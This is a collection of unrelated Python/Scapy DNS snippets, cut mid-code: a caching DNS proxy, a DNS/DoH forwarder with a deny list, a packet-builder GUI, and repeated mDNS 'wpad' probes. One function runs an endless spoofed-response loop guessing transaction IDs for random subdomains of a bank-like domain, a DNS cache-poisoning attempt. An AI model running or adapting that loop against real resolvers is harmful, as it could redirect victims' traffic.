def handle(self): data, sock = self.request src, port = self.client_address request, request_type = parse_packet(self.client_address, data) # Try Cache cached_response = self.server.cache.get(request) if cached_response: response = DNS(cached_response.get('response')) response.id = request.id self.send_packet(sock, request, response.__bytes__()) logging.info('TX: {}:{} - CACHED, Question: {}'.format( src, port, request.qd.qname)) return # Try Hooks response = process_packet(request, self.server.hooks, self.client_address, request_type) if response: self.send_packet(sock, request, response) return # Try DNS Server logging.info('TX: {}:{} - Forwarding DNS record(s) from {}'.format( src, port, self.server.dns_server)) response = self.__forward_request_to_dns_server(data) self.send_packet(sock, request, response, cache=False)
def up_all_night_to_get_lucky(): iplayer = IP(src="10.0.0.1", dst="10.10.0.1") udplayer = UDP(dport=40043, chksum=None) # Please autogenerate the checksum dnslayer = DNS(qr=1, id=random.randint(0, 63999)) # This is a response # Combine layers totalpacket = iplayer / udplayer / dnslayer # Execute Order 66 random_sub_domain = ''.join( choice(ascii_letters) for i in range(20)) # Generate random subdomain while True: os.system("dig " + random_sub_domain + ".bankofrhul.co.uk&") send(totalpacket, count=50) random_sub_domain = ''.join( choice(ascii_letters) for i in range(20)) # Gen Next random subdomain dnslayer.id = random.randint(0, 65535) # Gen Next query id guess
def getDNSPacket(self): """ 构造DNS报文 :return: """ try: dns = DNS() dns.id = int(self.entries[0].get()) dns.qr = int(self.entries[1].get()) dns.opcode = int(self.entries[2].get()) dns.rd = int(self.entries[3].get()) dns.qd = DNSQR(qname=self.entries[4].get()) udp = UDP() ip = IP() ip.dst = self.entries[5].get() dns_packet = Ether() / ip / udp / dns dns_packet.show() self.resultText.insert('end', dns_packet.summary() + '\n') self.resultText.insert('end', str(dns_packet) + '\n') return dns_packet except Exception as e: print(e.with_traceback()) finally: pass
def runDNSServer(args): SERVER_IP = '127.0.0.1' SERVER_PORT = 53 DNS_Resolver = args.DST_IP # default is 8.8.8.8 Doh_required = False #Default LOG_FILE = args.LOG_FILE #default is False query_type = 'A' DENY_LIST = args.DENY_LIST_FILE #default is False PERMISSION = 'ALLOW' if args.DOH_Required: Doh_required = True DOH_Resolver = 'dns.google' if args.DOH_SERVER: Doh_required = True DOH_Resolver = args.DOH_SERVER sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((SERVER_IP,SERVER_PORT)) while True: d, client_addr = sock.recvfrom(1024) client_payload = DNS(d) query = client_payload[DNS].qd.qname query = query.decode('utf-8') query = query.rstrip('.') if DENY_LIST: with open(DENY_LIST, 'r') as r: lines = r.readlines() r.close() for i in range(len(lines)): if query == lines[i]: PERMISSION = 'DENY' else: PERMISSION = 'ALLOW' if PERMISSION == 'DENY': client_payload.rcode = 3 client_payload.qr = 1 print("Domain name not allowed!") sock.sendto(bytes(client_payload),client_addr) if query_type == True: query_type = client_payload[DNS].qd.qtype query_type = dnsqtypes[query_type] if PERMISSION == 'ALLOW': if Doh_required == False: try: response = sr1(IP(dst=DNS_Resolver)/UDP(dport=SERVER_PORT)/DNS(id=client_payload.id, rd=1, qd=DNSQR(qname=query))) sock.sendto(bytes(response[DNS]), client_addr) except: print(f'{DNS_Resolver} is not valid!') if query_type == True: query_type = response[DNS].qd.qtype query_type = dnsqtypes[query_type] else: encoded = base64.urlsafe_b64encode(bytes(client_payload[DNS])) encoded = encoded.decode('utf-8').strip().rstrip('=') url = 'https://' + DOH_Resolver + '/dns-query?dns=' + encoded try: doh_response = requests.get(url=url) response_raw_packet = doh_response.content resp = DNS(response_raw_packet) resp.id = client_payload.id sock.sendto(bytes(resp), client_addr) if query_type == True: query_type =resp[DNS].qd.qtype query_type = dnsqtypes[query_type] except: print(f'{DOH_Resolver} is not a valid doh server!') client_payload.rcode = 3 client_payload.qr = 1 sock.sendto(bytes(client_payload),client_addr) if query_type == True: query_type = client_payload[DNS].qd.qtype query_type = dnsqtypes[query_type] log_entry = f'{query} {query_type} {PERMISSION}\n' if LOG_FILE: with open(LOG_FILE, 'a') as f: f.write(log_entry) f.close()
print unans print "" ################################################################### #reset a thing or so.. my_query = "wpad" print "-------------------------------------------------" print "Sending mDNS request for " + my_query + ".." ethernet = Ether(src=my_mac,dst=mdns_target_mac) ip = IP(src=my_ip,dst=mdns_target_ip) udp = UDP(sport=5353,dport=5353) dns = DNS() dns.id = queryid dns.qr = 0 dns.opcode = 0 dns.qdcount = 1 dns.rq = 0 dns.qd = DNSQR(qname=my_query,qtype=my_qtype) pkt=ethernet/ip/udp/dns ans,unans=srp(pkt,multi=True,verbose=0,timeout=1) for p in ans: print "-------------------------------------------------" print "Response from: " + p[1][Ether].src, p[1][IP].src print "-------------------------------------------------" print ans print unans my_query = randomstuff(16)
print ans print unans print "" ################################################################### #reset a thing or so.. my_query = "wpad" print "-------------------------------------------------" print "Sending mDNS request for " + my_query + ".." ethernet = Ether(src=my_mac, dst=mdns_target_mac) ip = IP(src=my_ip, dst=mdns_target_ip) udp = UDP(sport=5353, dport=5353) dns = DNS() dns.id = queryid dns.qr = 0 dns.opcode = 0 dns.qdcount = 1 dns.rq = 0 dns.qd = DNSQR(qname=my_query, qtype=my_qtype) pkt = ethernet / ip / udp / dns ans, unans = srp(pkt, multi=True, verbose=0, timeout=1) for p in ans: print "-------------------------------------------------" print "Response from: " + p[1][Ether].src, p[1][IP].src print "-------------------------------------------------" print ans print unans my_query = randomstuff(16)